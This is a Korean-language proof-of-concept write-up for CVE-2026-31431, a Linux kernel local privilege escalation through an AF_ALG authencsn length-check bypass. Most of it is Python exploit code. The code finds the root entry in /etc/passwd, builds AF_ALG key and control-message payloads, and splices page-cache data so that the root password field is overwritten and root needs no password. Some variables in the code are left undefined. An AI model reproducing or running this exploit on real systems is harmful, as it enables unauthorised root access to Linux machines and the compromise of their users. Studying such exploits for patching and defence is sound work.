
# CVE-2026-31431 개념 증명 익스플로잇 AF_ALG authenc 길이 검사 우회를 통한 Linux 커널 권한 상승 취약점으로, /etc/passwd 파일을 수정하여 루트 권한을 획득합니다.
이 취약점은 Linux의 authencsn 길이 검증 기능 오류를 악용하여, dirty page가 사용자에게 권한이 없는 위치에 write back되어 권한 상승을 유발합니다.
주로 이 repo의 공격 원리를 참고했으며, 일부 payload는 수정되었습니다. https://github.com/rootsecdev/cve_2026_31431
이 그림은 6.12.85 linux kernel의 수정 패치이며, 추후에 이 패치들을 trace code할 예정입니다.
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f: # binary open
content = f.read()
idx = content.find(b"root:x") # find root:x location
x_offset = idx + 5 # Get x location
목표는 /etc/passwd의 root 비밀번호를 비밀번호 없음(/etc/shadow 검증을 거치지 않음)으로 변경하는 것입니다.
# Before: root:[x:0:]0:root:/root:/bin/bash
# After root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))
# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey
# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket
# Send payload
payload = b"\x00" * 4 + string
cmsg = [
(SOL_ALG, ALG_SET_OP, struct.pack("I", 0)), # Decrypt
(SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
]
op.sendmsg([payload], cmsg, socket.MSG_MORE)
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32) # copy data from pipe to socket
try:
op.recv(64)
except OSError:
pass